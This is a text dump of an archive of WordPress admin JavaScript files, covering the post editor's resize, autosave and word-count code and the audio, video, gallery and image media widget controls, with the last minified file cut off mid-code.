	window.wptitlehint = function( id ) {
		id = id || 'title';

		var title = $( '#' + id ), titleprompt = $( '#' + id + '-prompt-text' );

		if ( '' === title.val() ) {
			titleprompt.removeClass( 'screen-reader-text' );
		}

		title.on( 'input', function() {
			if ( '' === this.value ) {
				titleprompt.removeClass( 'screen-reader-text' );
				return;
			}

			titleprompt.addClass( 'screen-reader-text' );
		} );
	};

	wptitlehint();

	// Resize the WYSIWYG and plain text editors.
	( function() {
		var editor, offset, mce,
			$handle = $('#post-status-info'),
			$postdivrich = $('#postdivrich');

		// If there are no textareas or we are on a touch device, we can't do anything.
		if ( ! $textarea.length || 'ontouchstart' in window ) {
			// Hide the resize handle.
			$('#content-resize-handle').hide();
			return;
		}

		/**
		 * Handle drag event.
		 *
		 * @param {Object} event Event containing details about the drag.
		 */
		function dragging( event ) {
			if ( $postdivrich.hasClass( 'wp-editor-expand' ) ) {
				return;
			}

			if ( mce ) {
				editor.theme.resizeTo( null, offset + event.pageY );
			} else {
				$textarea.height( Math.max( 50, offset + event.pageY ) );
			}

			event.preventDefault();
		}

		/**
		 * When the dragging stopped make sure we return focus and do a sanity check on the height.
		 */
		function endDrag() {
			var height, toolbarHeight;

			if ( $postdivrich.hasClass( 'wp-editor-expand' ) ) {
				return;
			}

			if ( mce ) {
				editor.focus();
				toolbarHeight = parseInt( $( '#wp-content-editor-container .mce-toolbar-grp' ).height(), 10 );

				if ( toolbarHeight < 10 || toolbarHeight > 200 ) {
					toolbarHeight = 30;
				}

				height = parseInt( $('#content_ifr').css('height'), 10 ) + toolbarHeight - 28;
			} else {
				$textarea.trigger( 'focus' );
				height = parseInt( $textarea.css('height'), 10 );
			}

			$document.off( '.wp-editor-resize' );

			// Sanity check: normalize height to stay within acceptable ranges.
			if ( height && height > 50 && height < 5000 ) {
				setUserSetting( 'ed_size', height );
			}
		}

		$handle.on( 'mousedown.wp-editor-resize', function( event ) {
			if ( typeof tinymce !== 'undefined' ) {
				editor = tinymce.get('content');
			}

			if ( editor && ! editor.isHidden() ) {
				mce = true;
				offset = $('#content_ifr').height() - event.pageY;
			} else {
				mce = false;
				offset = $textarea.height() - event.pageY;
				$textarea.trigger( 'blur' );
			}

			$document.on( 'mousemove.wp-editor-resize', dragging )
				.on( 'mouseup.wp-editor-resize mouseleave.wp-editor-resize', endDrag );

			event.preventDefault();
		}).on( 'mouseup.wp-editor-resize', endDrag );
	})();

	// TinyMCE specific handling of Post Format changes to reflect in the editor.
	if ( typeof tinymce !== 'undefined' ) {
		// When changing post formats, change the editor body class.
		$( '#post-formats-select input.post-format' ).on( 'change.set-editor-class', function() {
			var editor, body, format = this.id;

			if ( format && $( this ).prop( 'checked' ) && ( editor = tinymce.get( 'content' ) ) ) {
				body = editor.getBody();
				body.className = body.className.replace( /\bpost-format-[^ ]+/, '' );
				editor.dom.addClass( body, format == 'post-format-0' ? 'post-format-standard' : format );
				$( document ).trigger( 'editor-classchange' );
			}
		});

		// When changing page template, change the editor body class.
		$( '#page_template' ).on( 'change.set-editor-class', function() {
			var editor, body, pageTemplate = $( this ).val() || '';

			pageTemplate = pageTemplate.substr( pageTemplate.lastIndexOf( '/' ) + 1, pageTemplate.length )
				.replace( /\.php$/, '' )
				.replace( /\./g, '-' );

			if ( pageTemplate && ( editor = tinymce.get( 'content' ) ) ) {
				body = editor.getBody();
				body.className = body.className.replace( /\bpage-template-[^ ]+/, '' );
				editor.dom.addClass( body, 'page-template-' + pageTemplate );
				$( document ).trigger( 'editor-classchange' );
			}
		});

	}

	// Save on pressing [Ctrl]/[Command] + [S] in the Text editor.
	$textarea.on( 'keydown.wp-autosave', function( event ) {
		// Key [S] has code 83.
		if ( event.which === 83 ) {
			if (
				event.shiftKey ||
				event.altKey ||
				( isMac && ( ! event.metaKey || event.ctrlKey ) ) ||
				( ! isMac && ! event.ctrlKey )
			) {
				return;
			}

			wp.autosave && wp.autosave.server.triggerSave();
			event.preventDefault();
		}
	});

	// If the last status was auto-draft and the save is triggered, edit the current URL.
	if ( $( '#original_post_status' ).val() === 'auto-draft' && window.history.replaceState ) {
		var location;

		$( '#publish' ).on( 'click', function() {
			location = window.location.href;
			location += ( location.indexOf( '?' ) !== -1 ) ? '&' : '?';
			location += 'wp-post-new-reload=true';

			window.history.replaceState( null, null, location );
		});
	}

	/**
	 * Copies the attachment URL in the Edit Media page to the clipboard.
	 *
	 * @since 5.5.0
	 *
	 * @param {MouseEvent} event A click event.
	 *
	 * @return {void}
	 */
	copyAttachmentURLClipboard.on( 'success', function( event ) {
		var triggerElement = $( event.trigger ),
			successElement = $( '.success', triggerElement.closest( '.copy-to-clipboard-container' ) );

		// Clear the selection and move focus back to the trigger.
		event.clearSelection();
		// Handle ClipboardJS focus bug, see https://github.com/zenorocha/clipboard.js/issues/680
		triggerElement.trigger( 'focus' );

		// Show success visual feedback.
		clearTimeout( copyAttachmentURLSuccessTimeout );
		successElement.removeClass( 'hidden' );

		// Hide success visual feedback after 3 seconds since last success.
		copyAttachmentURLSuccessTimeout = setTimeout( function() {
			successElement.addClass( 'hidden' );
		}, 3000 );

		// Handle success audible feedback.
		wp.a11y.speak( __( 'The file URL has been copied to your clipboard' ) );
	} );
} );

/**
 * TinyMCE word count display
 */
( function( $, counter ) {
	$( function() {
		var $content = $( '#content' ),
			$count = $( '#wp-word-count' ).find( '.word-count' ),
			prevCount = 0,
			contentEditor;

		/**
		 * Get the word count from TinyMCE and display it
		 */
		function update() {
			var text, count;

			if ( ! contentEditor || contentEditor.isHidden() ) {
				text = $content.val();
			} else {
				text = contentEditor.getContent( { format: 'raw' } );
			}

			count = counter.count( text );

			if ( count !== prevCount ) {
				$count.text( count );
			}

			prevCount = count;
		}

		/**
		 * Bind the word count update triggers.
		 *
		 * When a node change in the main TinyMCE editor has been triggered.
		 * When a key has been released in the plain text content editor.
		 */
		$( document ).on( 'tinymce-editor-init', function( event, editor ) {
			if ( editor.id !== 'content' ) {
				return;
			}

			contentEditor = editor;

			editor.on( 'nodechange keyup', _.debounce( update, 1000 ) );
		} );

		$content.on( 'input keyup', _.debounce( update, 1000 ) );

		update();
	} );

} )( jQuery, new wp.utils.WordCounter() );
widgets/media-video-widget.min.js000064400000005216150276633110013006 0ustar00/*! This file is auto-generated */
!function(t){"use strict";var i=wp.media.view.MediaFrame.VideoDetails.extend({createStates:function(){this.states.add([new wp.media.controller.VideoDetails({media:this.media}),new wp.media.controller.MediaLibrary({type:"video",id:"add-video-source",title:wp.media.view.l10n.videoAddSourceTitle,toolbar:"add-video-source",media:this.media,menu:!1}),new wp.media.controller.MediaLibrary({type:"text",id:"add-track",title:wp.media.view.l10n.videoAddTrackTitle,toolbar:"add-track",media:this.media,menu:"video-details"})])}}),e=t.MediaWidgetModel.extend({}),d=t.MediaWidgetControl.extend({showDisplaySettings:!1,oembedResponses:{},mapModelToMediaFrameProps:function(e){e=t.MediaWidgetControl.prototype.mapModelToMediaFrameProps.call(this,e);return e.link="embed",e},fetchEmbed:function(){var t=this,d=t.model.get("url");t.oembedResponses[d]||(t.fetchEmbedDfd&&"pending"===t.fetchEmbedDfd.state()&&t.fetchEmbedDfd.abort(),t.fetchEmbedDfd=wp.apiRequest({url:wp.media.view.settings.oEmbedProxyUrl,data:{url:t.model.get("url"),maxwidth:t.model.get("width"),maxheight:t.model.get("height"),discover:!1},type:"GET",dataType:"json",context:t}),t.fetchEmbedDfd.done(function(e){t.oembedResponses[d]=e,t.renderPreview()}),t.fetchEmbedDfd.fail(function(){t.oembedResponses[d]=null}))},isHostedVideo:function(){return!0},renderPreview:function(){var e,t,d=this,i="",o=!1,a=d.model.get("attachment_id"),s=d.model.get("url"),m=d.model.get("error");(a||s)&&((t=d.selectedAttachment.get("mime"))&&a?_.contains(_.values(wp.media.view.settings.embedMimes),t)||(m="unsupported_file_type"):a||((t=document.createElement("a")).href=s,(t=t.pathname.toLowerCase().match(/\.(\w+)$/))?_.contains(_.keys(wp.media.view.settings.embedMimes),t[1])||(m="unsupported_file_type"):o=!0),o&&(d.fetchEmbed(),d.oembedResponses[s])&&(e=d.oembedResponses[s].thumbnail_url,i=d.oembedResponses[s].html.replace(/\swidth="\d+"/,' width="100%"').replace(/\sheight="\d+"/,"")),t=d.$el.find(".media-widget-preview"),d=wp.template("wp-media-widget-video-preview"),t.html(d({model:{attachment_id:a,html:i,src:s,poster:e},is_oembed:o,error:m})),wp.mediaelement.initialize())},editMedia:function(){var t=this,e=t.mapModelToMediaFrameProps(t.model.toJSON()),d=new i({frame:"video",state:"video-details",metadata:e});(wp.media.frame=d).$el.addClass("media-widget"),e=function(e){t.selectedAttachment.set(e),t.model.set(_.extend(_.omit(t.model.defaults(),"title"),t.mapMediaToModelProps(e),{error:!1}))},d.state("video-details").on("update",e),d.state("replace-video").on("replace",e),d.on("close",function(){d.detach()}),d.open()}});t.controlConstructors.media_video=d,t.modelConstructors.media_video=e}(wp.mediaWidgets);widgets/media-audio-widget.js000064400000010274150276633110012217 0ustar00/**
 * @output wp-admin/js/widgets/media-audio-widget.js
 */

/* eslint consistent-this: [ "error", "control" ] */
(function( component ) {
	'use strict';

	var AudioWidgetModel, AudioWidgetControl, AudioDetailsMediaFrame;

	/**
	 * Custom audio details frame that removes the replace-audio state.
	 *
	 * @class    wp.mediaWidgets.controlConstructors~AudioDetailsMediaFrame
	 * @augments wp.media.view.MediaFrame.AudioDetails
	 */
	AudioDetailsMediaFrame = wp.media.view.MediaFrame.AudioDetails.extend(/** @lends wp.mediaWidgets.controlConstructors~AudioDetailsMediaFrame.prototype */{

		/**
		 * Create the default states.
		 *
		 * @return {void}
		 */
		createStates: function createStates() {
			this.states.add([
				new wp.media.controller.AudioDetails({
					media: this.media
				}),

				new wp.media.controller.MediaLibrary({
					type: 'audio',
					id: 'add-audio-source',
					title: wp.media.view.l10n.audioAddSourceTitle,
					toolbar: 'add-audio-source',
					media: this.media,
					menu: false
				})
			]);
		}
	});

	/**
	 * Audio widget model.
	 *
	 * See WP_Widget_Audio::enqueue_admin_scripts() for amending prototype from PHP exports.
	 *
	 * @class    wp.mediaWidgets.modelConstructors.media_audio
	 * @augments wp.mediaWidgets.MediaWidgetModel
	 */
	AudioWidgetModel = component.MediaWidgetModel.extend({});

	/**
	 * Audio widget control.
	 *
	 * See WP_Widget_Audio::enqueue_admin_scripts() for amending prototype from PHP exports.
	 *
	 * @class    wp.mediaWidgets.controlConstructors.media_audio
	 * @augments wp.mediaWidgets.MediaWidgetControl
	 */
	AudioWidgetControl = component.MediaWidgetControl.extend(/** @lends wp.mediaWidgets.controlConstructors.media_audio.prototype */{

		/**
		 * Show display settings.
		 *
		 * @type {boolean}
		 */
		showDisplaySettings: false,

		/**
		 * Map model props to media frame props.
		 *
		 * @param {Object} modelProps - Model props.
		 * @return {Object} Media frame props.
		 */
		mapModelToMediaFrameProps: function mapModelToMediaFrameProps( modelProps ) {
			var control = this, mediaFrameProps;
			mediaFrameProps = component.MediaWidgetControl.prototype.mapModelToMediaFrameProps.call( control, modelProps );
			mediaFrameProps.link = 'embed';
			return mediaFrameProps;
		},

		/**
		 * Render preview.
		 *
		 * @return {void}
		 */
		renderPreview: function renderPreview() {
			var control = this, previewContainer, previewTemplate, attachmentId, attachmentUrl;
			attachmentId = control.model.get( 'attachment_id' );
			attachmentUrl = control.model.get( 'url' );

			if ( ! attachmentId && ! attachmentUrl ) {
				return;
			}

			previewContainer = control.$el.find( '.media-widget-preview' );
			previewTemplate = wp.template( 'wp-media-widget-audio-preview' );

			previewContainer.html( previewTemplate({
				model: {
					attachment_id: control.model.get( 'attachment_id' ),
					src: attachmentUrl
				},
				error: control.model.get( 'error' )
			}));
			wp.mediaelement.initialize();
		},

		/**
		 * Open the media audio-edit frame to modify the selected item.
		 *
		 * @return {void}
		 */
		editMedia: function editMedia() {
			var control = this, mediaFrame, metadata, updateCallback;

			metadata = control.mapModelToMediaFrameProps( control.model.toJSON() );

			// Set up the media frame.
			mediaFrame = new AudioDetailsMediaFrame({
				frame: 'audio',
				state: 'audio-details',
				metadata: metadata
			});
			wp.media.frame = mediaFrame;
			mediaFrame.$el.addClass( 'media-widget' );

			updateCallback = function( mediaFrameProps ) {

				// Update cached attachment object to avoid having to re-fetch. This also triggers re-rendering of preview.
				control.selectedAttachment.set( mediaFrameProps );

				control.model.set( _.extend(
					control.model.defaults(),
					control.mapMediaToModelProps( mediaFrameProps ),
					{ error: false }
				) );
			};

			mediaFrame.state( 'audio-details' ).on( 'update', updateCallback );
			mediaFrame.state( 'replace-audio' ).on( 'replace', updateCallback );
			mediaFrame.on( 'close', function() {
				mediaFrame.detach();
			});

			mediaFrame.open();
		}
	});

	// Exports.
	component.controlConstructors.media_audio = AudioWidgetControl;
	component.modelConstructors.media_audio = AudioWidgetModel;

})( wp.mediaWidgets );
widgets/media-video-widget.js000064400000015554150276633110012232 0ustar00/**
 * @output wp-admin/js/widgets/media-video-widget.js
 */

/* eslint consistent-this: [ "error", "control" ] */
(function( component ) {
	'use strict';

	var VideoWidgetModel, VideoWidgetControl, VideoDetailsMediaFrame;

	/**
	 * Custom video details frame that removes the replace-video state.
	 *
	 * @class    wp.mediaWidgets.controlConstructors~VideoDetailsMediaFrame
	 * @augments wp.media.view.MediaFrame.VideoDetails
	 *
	 * @private
	 */
	VideoDetailsMediaFrame = wp.media.view.MediaFrame.VideoDetails.extend(/** @lends wp.mediaWidgets.controlConstructors~VideoDetailsMediaFrame.prototype */{

		/**
		 * Create the default states.
		 *
		 * @return {void}
		 */
		createStates: function createStates() {
			this.states.add([
				new wp.media.controller.VideoDetails({
					media: this.media
				}),

				new wp.media.controller.MediaLibrary({
					type: 'video',
					id: 'add-video-source',
					title: wp.media.view.l10n.videoAddSourceTitle,
					toolbar: 'add-video-source',
					media: this.media,
					menu: false
				}),

				new wp.media.controller.MediaLibrary({
					type: 'text',
					id: 'add-track',
					title: wp.media.view.l10n.videoAddTrackTitle,
					toolbar: 'add-track',
					media: this.media,
					menu: 'video-details'
				})
			]);
		}
	});

	/**
	 * Video widget model.
	 *
	 * See WP_Widget_Video::enqueue_admin_scripts() for amending prototype from PHP exports.
	 *
	 * @class    wp.mediaWidgets.modelConstructors.media_video
	 * @augments wp.mediaWidgets.MediaWidgetModel
	 */
	VideoWidgetModel = component.MediaWidgetModel.extend({});

	/**
	 * Video widget control.
	 *
	 * See WP_Widget_Video::enqueue_admin_scripts() for amending prototype from PHP exports.
	 *
	 * @class    wp.mediaWidgets.controlConstructors.media_video
	 * @augments wp.mediaWidgets.MediaWidgetControl
	 */
	VideoWidgetControl = component.MediaWidgetControl.extend(/** @lends wp.mediaWidgets.controlConstructors.media_video.prototype */{

		/**
		 * Show display settings.
		 *
		 * @type {boolean}
		 */
		showDisplaySettings: false,

		/**
		 * Cache of oembed responses.
		 *
		 * @type {Object}
		 */
		oembedResponses: {},

		/**
		 * Map model props to media frame props.
		 *
		 * @param {Object} modelProps - Model props.
		 * @return {Object} Media frame props.
		 */
		mapModelToMediaFrameProps: function mapModelToMediaFrameProps( modelProps ) {
			var control = this, mediaFrameProps;
			mediaFrameProps = component.MediaWidgetControl.prototype.mapModelToMediaFrameProps.call( control, modelProps );
			mediaFrameProps.link = 'embed';
			return mediaFrameProps;
		},

		/**
		 * Fetches embed data for external videos.
		 *
		 * @return {void}
		 */
		fetchEmbed: function fetchEmbed() {
			var control = this, url;
			url = control.model.get( 'url' );

			// If we already have a local cache of the embed response, return.
			if ( control.oembedResponses[ url ] ) {
				return;
			}

			// If there is an in-flight embed request, abort it.
			if ( control.fetchEmbedDfd && 'pending' === control.fetchEmbedDfd.state() ) {
				control.fetchEmbedDfd.abort();
			}

			control.fetchEmbedDfd = wp.apiRequest({
				url: wp.media.view.settings.oEmbedProxyUrl,
				data: {
					url: control.model.get( 'url' ),
					maxwidth: control.model.get( 'width' ),
					maxheight: control.model.get( 'height' ),
					discover: false
				},
				type: 'GET',
				dataType: 'json',
				context: control
			});

			control.fetchEmbedDfd.done( function( response ) {
				control.oembedResponses[ url ] = response;
				control.renderPreview();
			});

			control.fetchEmbedDfd.fail( function() {
				control.oembedResponses[ url ] = null;
			});
		},

		/**
		 * Whether a url is a supported external host.
		 *
		 * @deprecated since 4.9.
		 *
		 * @return {boolean} Whether url is a supported video host.
		 */
		isHostedVideo: function isHostedVideo() {
			return true;
		},

		/**
		 * Render preview.
		 *
		 * @return {void}
		 */
		renderPreview: function renderPreview() {
			var control = this, previewContainer, previewTemplate, attachmentId, attachmentUrl, poster, html = '', isOEmbed = false, mime, error, urlParser, matches;
			attachmentId = control.model.get( 'attachment_id' );
			attachmentUrl = control.model.get( 'url' );
			error = control.model.get( 'error' );

			if ( ! attachmentId && ! attachmentUrl ) {
				return;
			}

			// Verify the selected attachment mime is supported.
			mime = control.selectedAttachment.get( 'mime' );
			if ( mime && attachmentId ) {
				if ( ! _.contains( _.values( wp.media.view.settings.embedMimes ), mime ) ) {
					error = 'unsupported_file_type';
				}
			} else if ( ! attachmentId ) {
				urlParser = document.createElement( 'a' );
				urlParser.href = attachmentUrl;
				matches = urlParser.pathname.toLowerCase().match( /\.(\w+)$/ );
				if ( matches ) {
					if ( ! _.contains( _.keys( wp.media.view.settings.embedMimes ), matches[1] ) ) {
						error = 'unsupported_file_type';
					}
				} else {
					isOEmbed = true;
				}
			}

			if ( isOEmbed ) {
				control.fetchEmbed();
				if ( control.oembedResponses[ attachmentUrl ] ) {
					poster = control.oembedResponses[ attachmentUrl ].thumbnail_url;
					html = control.oembedResponses[ attachmentUrl ].html.replace( /\swidth="\d+"/, ' width="100%"' ).replace( /\sheight="\d+"/, '' );
				}
			}

			previewContainer = control.$el.find( '.media-widget-preview' );
			previewTemplate = wp.template( 'wp-media-widget-video-preview' );

			previewContainer.html( previewTemplate({
				model: {
					attachment_id: attachmentId,
					html: html,
					src: attachmentUrl,
					poster: poster
				},
				is_oembed: isOEmbed,
				error: error
			}));
			wp.mediaelement.initialize();
		},

		/**
		 * Open the media image-edit frame to modify the selected item.
		 *
		 * @return {void}
		 */
		editMedia: function editMedia() {
			var control = this, mediaFrame, metadata, updateCallback;

			metadata = control.mapModelToMediaFrameProps( control.model.toJSON() );

			// Set up the media frame.
			mediaFrame = new VideoDetailsMediaFrame({
				frame: 'video',
				state: 'video-details',
				metadata: metadata
			});
			wp.media.frame = mediaFrame;
			mediaFrame.$el.addClass( 'media-widget' );

			updateCallback = function( mediaFrameProps ) {

				// Update cached attachment object to avoid having to re-fetch. This also triggers re-rendering of preview.
				control.selectedAttachment.set( mediaFrameProps );

				control.model.set( _.extend(
					_.omit( control.model.defaults(), 'title' ),
					control.mapMediaToModelProps( mediaFrameProps ),
					{ error: false }
				) );
			};

			mediaFrame.state( 'video-details' ).on( 'update', updateCallback );
			mediaFrame.state( 'replace-video' ).on( 'replace', updateCallback );
			mediaFrame.on( 'close', function() {
				mediaFrame.detach();
			});

			mediaFrame.open();
		}
	});

	// Exports.
	component.controlConstructors.media_video = VideoWidgetControl;
	component.modelConstructors.media_video = VideoWidgetModel;

})( wp.mediaWidgets );
widgets/media-gallery-widget.js000064400000024162150276633110012556 0ustar00/**
 * @output wp-admin/js/widgets/media-gallery-widget.js
 */

/* eslint consistent-this: [ "error", "control" ] */
(function( component ) {
	'use strict';

	var GalleryWidgetModel, GalleryWidgetControl, GalleryDetailsMediaFrame;

	/**
	 * Custom gallery details frame.
	 *
	 * @since 4.9.0
	 * @class    wp.mediaWidgets~GalleryDetailsMediaFrame
	 * @augments wp.media.view.MediaFrame.Post
	 */
	GalleryDetailsMediaFrame = wp.media.view.MediaFrame.Post.extend(/** @lends wp.mediaWidgets~GalleryDetailsMediaFrame.prototype */{

		/**
		 * Create the default states.
		 *
		 * @since 4.9.0
		 * @return {void}
		 */
		createStates: function createStates() {
			this.states.add([
				new wp.media.controller.Library({
					id:         'gallery',
					title:      wp.media.view.l10n.createGalleryTitle,
					priority:   40,
					toolbar:    'main-gallery',
					filterable: 'uploaded',
					multiple:   'add',
					editable:   true,

					library:  wp.media.query( _.defaults({
						type: 'image'
					}, this.options.library ) )
				}),

				// Gallery states.
				new wp.media.controller.GalleryEdit({
					library: this.options.selection,
					editing: this.options.editing,
					menu:    'gallery'
				}),

				new wp.media.controller.GalleryAdd()
			]);
		}
	} );

	/**
	 * Gallery widget model.
	 *
	 * See WP_Widget_Gallery::enqueue_admin_scripts() for amending prototype from PHP exports.
	 *
	 * @since 4.9.0
	 *
	 * @class    wp.mediaWidgets.modelConstructors.media_gallery
	 * @augments wp.mediaWidgets.MediaWidgetModel
	 */
	GalleryWidgetModel = component.MediaWidgetModel.extend(/** @lends wp.mediaWidgets.modelConstructors.media_gallery.prototype */{} );

	GalleryWidgetControl = component.MediaWidgetControl.extend(/** @lends wp.mediaWidgets.controlConstructors.media_gallery.prototype */{

		/**
		 * View events.
		 *
		 * @since 4.9.0
		 * @type {object}
		 */
		events: _.extend( {}, component.MediaWidgetControl.prototype.events, {
			'click .media-widget-gallery-preview': 'editMedia'
		} ),

		/**
		 * Gallery widget control.
		 *
		 * See WP_Widget_Gallery::enqueue_admin_scripts() for amending prototype from PHP exports.
		 *
		 * @constructs wp.mediaWidgets.controlConstructors.media_gallery
		 * @augments   wp.mediaWidgets.MediaWidgetControl
		 *
		 * @since 4.9.0
		 * @param {Object}         options - Options.
		 * @param {Backbone.Model} options.model - Model.
		 * @param {jQuery}         options.el - Control field container element.
		 * @param {jQuery}         options.syncContainer - Container element where fields are synced for the server.
		 * @return {void}
		 */
		initialize: function initialize( options ) {
			var control = this;

			component.MediaWidgetControl.prototype.initialize.call( control, options );

			_.bindAll( control, 'updateSelectedAttachments', 'handleAttachmentDestroy' );
			control.selectedAttachments = new wp.media.model.Attachments();
			control.model.on( 'change:ids', control.updateSelectedAttachments );
			control.selectedAttachments.on( 'change', control.renderPreview );
			control.selectedAttachments.on( 'reset', control.renderPreview );
			control.updateSelectedAttachments();

			/*
			 * Refresh a Gallery widget partial when the user modifies one of the selected attachments.
			 * This ensures that when an attachment's caption is updated in the media modal the Gallery
			 * widget in the preview will then be refreshed to show the change. Normally doing this
			 * would not be necessary because all of the state should be contained inside the changeset,
			 * as everything done in the Customizer should not make a change to the site unless the
			 * changeset itself is published. Attachments are a current exception to this rule.
			 * For a proposal to include attachments in the customized state, see #37887.
			 */
			if ( wp.customize && wp.customize.previewer ) {
				control.selectedAttachments.on( 'change', function() {
					wp.customize.previewer.send( 'refresh-widget-partial', control.model.get( 'widget_id' ) );
				} );
			}
		},

		/**
		 * Update the selected attachments if necessary.
		 *
		 * @since 4.9.0
		 * @return {void}
		 */
		updateSelectedAttachments: function updateSelectedAttachments() {
			var control = this, newIds, oldIds, removedIds, addedIds, addedQuery;

			newIds = control.model.get( 'ids' );
			oldIds = _.pluck( control.selectedAttachments.models, 'id' );

			removedIds = _.difference( oldIds, newIds );
			_.each( removedIds, function( removedId ) {
				control.selectedAttachments.remove( control.selectedAttachments.get( removedId ) );
			});

			addedIds = _.difference( newIds, oldIds );
			if ( addedIds.length ) {
				addedQuery = wp.media.query({
					order: 'ASC',
					orderby: 'post__in',
					perPage: -1,
					post__in: newIds,
					query: true,
					type: 'image'
				});
				addedQuery.more().done( function() {
					control.selectedAttachments.reset( addedQuery.models );
				});
			}
		},

		/**
		 * Render preview.
		 *
		 * @since 4.9.0
		 * @return {void}
		 */
		renderPreview: function renderPreview() {
			var control = this, previewContainer, previewTemplate, data;

			previewContainer = control.$el.find( '.media-widget-preview' );
			previewTemplate = wp.template( 'wp-media-widget-gallery-preview' );

			data = control.previewTemplateProps.toJSON();
			data.attachments = {};
			control.selectedAttachments.each( function( attachment ) {
				data.attachments[ attachment.id ] = attachment.toJSON();
			} );

			previewContainer.html( previewTemplate( data ) );
		},

		/**
		 * Determine whether there are selected attachments.
		 *
		 * @since 4.9.0
		 * @return {boolean} Selected.
		 */
		isSelected: function isSelected() {
			var control = this;

			if ( control.model.get( 'error' ) ) {
				return false;
			}

			return control.model.get( 'ids' ).length > 0;
		},

		/**
		 * Open the media select frame to edit images.
		 *
		 * @since 4.9.0
		 * @return {void}
		 */
		editMedia: function editMedia() {
			var control = this, selection, mediaFrame, mediaFrameProps;

			selection = new wp.media.model.Selection( control.selectedAttachments.models, {
				multiple: true
			});

			mediaFrameProps = control.mapModelToMediaFrameProps( control.model.toJSON() );
			selection.gallery = new Backbone.Model( mediaFrameProps );
			if ( mediaFrameProps.size ) {
				control.displaySettings.set( 'size', mediaFrameProps.size );
			}
			mediaFrame = new GalleryDetailsMediaFrame({
				frame: 'manage',
				text: control.l10n.add_to_widget,
				selection: selection,
				mimeType: control.mime_type,
				selectedDisplaySettings: control.displaySettings,
				showDisplaySettings: control.showDisplaySettings,
				metadata: mediaFrameProps,
				editing:   true,
				multiple:  true,
				state: 'gallery-edit'
			});
			wp.media.frame = mediaFrame; // See wp.media().

			// Handle selection of a media item.
			mediaFrame.on( 'update', function onUpdate( newSelection ) {
				var state = mediaFrame.state(), resultSelection;

				resultSelection = newSelection || state.get( 'selection' );
				if ( ! resultSelection ) {
					return;
				}

				// Copy orderby_random from gallery state.
				if ( resultSelection.gallery ) {
					control.model.set( control.mapMediaToModelProps( resultSelection.gallery.toJSON() ) );
				}

				// Directly update selectedAttachments to prevent needing to do additional request.
				control.selectedAttachments.reset( resultSelection.models );

				// Update models in the widget instance.
				control.model.set( {
					ids: _.pluck( resultSelection.models, 'id' )
				} );
			} );

			mediaFrame.$el.addClass( 'media-widget' );
			mediaFrame.open();

			if ( selection ) {
				selection.on( 'destroy', control.handleAttachmentDestroy );
			}
		},

		/**
		 * Open the media select frame to chose an item.
		 *
		 * @since 4.9.0
		 * @return {void}
		 */
		selectMedia: function selectMedia() {
			var control = this, selection, mediaFrame, mediaFrameProps;
			selection = new wp.media.model.Selection( control.selectedAttachments.models, {
				multiple: true
			});

			mediaFrameProps = control.mapModelToMediaFrameProps( control.model.toJSON() );
			if ( mediaFrameProps.size ) {
				control.displaySettings.set( 'size', mediaFrameProps.size );
			}
			mediaFrame = new GalleryDetailsMediaFrame({
				frame: 'select',
				text: control.l10n.add_to_widget,
				selection: selection,
				mimeType: control.mime_type,
				selectedDisplaySettings: control.displaySettings,
				showDisplaySettings: control.showDisplaySettings,
				metadata: mediaFrameProps,
				state: 'gallery'
			});
			wp.media.frame = mediaFrame; // See wp.media().

			// Handle selection of a media item.
			mediaFrame.on( 'update', function onUpdate( newSelection ) {
				var state = mediaFrame.state(), resultSelection;

				resultSelection = newSelection || state.get( 'selection' );
				if ( ! resultSelection ) {
					return;
				}

				// Copy orderby_random from gallery state.
				if ( resultSelection.gallery ) {
					control.model.set( control.mapMediaToModelProps( resultSelection.gallery.toJSON() ) );
				}

				// Directly update selectedAttachments to prevent needing to do additional request.
				control.selectedAttachments.reset( resultSelection.models );

				// Update widget instance.
				control.model.set( {
					ids: _.pluck( resultSelection.models, 'id' )
				} );
			} );

			mediaFrame.$el.addClass( 'media-widget' );
			mediaFrame.open();

			if ( selection ) {
				selection.on( 'destroy', control.handleAttachmentDestroy );
			}

			/*
			 * Make sure focus is set inside of modal so that hitting Esc will close
			 * the modal and not inadvertently cause the widget to collapse in the customizer.
			 */
			mediaFrame.$el.find( ':focusable:first' ).focus();
		},

		/**
		 * Clear the selected attachment when it is deleted in the media select frame.
		 *
		 * @since 4.9.0
		 * @param {wp.media.models.Attachment} attachment - Attachment.
		 * @return {void}
		 */
		handleAttachmentDestroy: function handleAttachmentDestroy( attachment ) {
			var control = this;
			control.model.set( {
				ids: _.difference(
					control.model.get( 'ids' ),
					[ attachment.id ]
				)
			} );
		}
	} );

	// Exports.
	component.controlConstructors.media_gallery = GalleryWidgetControl;
	component.modelConstructors.media_gallery = GalleryWidgetModel;

})( wp.mediaWidgets );
widgets/media-image-widget.min.js000064400000003750150276633110012763 0ustar00/*! This file is auto-generated */
!function(a,o){"use strict";var e=a.MediaWidgetModel.extend({}),t=a.MediaWidgetControl.extend({events:_.extend({},a.MediaWidgetControl.prototype.events,{"click .media-widget-preview.populated":"editMedia"}),renderPreview:function(){var e,t,i=this;(i.model.get("attachment_id")||i.model.get("url"))&&(t=i.$el.find(".media-widget-preview"),e=wp.template("wp-media-widget-image-preview"),t.html(e(i.previewTemplateProps.toJSON())),t.addClass("populated"),i.$el.find(".link").is(document.activeElement)||(e=i.$el.find(".media-widget-fields"),t=wp.template("wp-media-widget-image-fields"),e.html(t(i.previewTemplateProps.toJSON()))))},editMedia:function(){var i,e,a=this,t=a.mapModelToMediaFrameProps(a.model.toJSON());"none"===t.link&&(t.linkUrl=""),(i=wp.media({frame:"image",state:"image-details",metadata:t})).$el.addClass("media-widget"),t=function(){var e=i.state().attributes.image.toJSON(),t=e.link;e.link=e.linkUrl,a.selectedAttachment.set(e),a.displaySettings.set("link",t),a.model.set(_.extend(a.mapMediaToModelProps(e),{error:!1}))},i.state("image-details").on("update",t),i.state("replace-image").on("replace",t),e=wp.media.model.Attachment.prototype.sync,wp.media.model.Attachment.prototype.sync=function(){return o.Deferred().rejectWith(this).promise()},i.on("close",function(){i.detach(),wp.media.model.Attachment.prototype.sync=e}),i.open()},getEmbedResetProps:function(){return _.extend(a.MediaWidgetControl.prototype.getEmbedResetProps.call(this),{size:"full",width:0,height:0})},getModelPropsFromMediaFrame:function(e){return _.omit(a.MediaWidgetControl.prototype.getModelPropsFromMediaFrame.call(this,e),"image_title")},mapModelToPreviewTemplateProps:function(){var e=this,t=e.model.get("url"),i=a.MediaWidgetControl.prototype.mapModelToPreviewTemplateProps.call(e);return 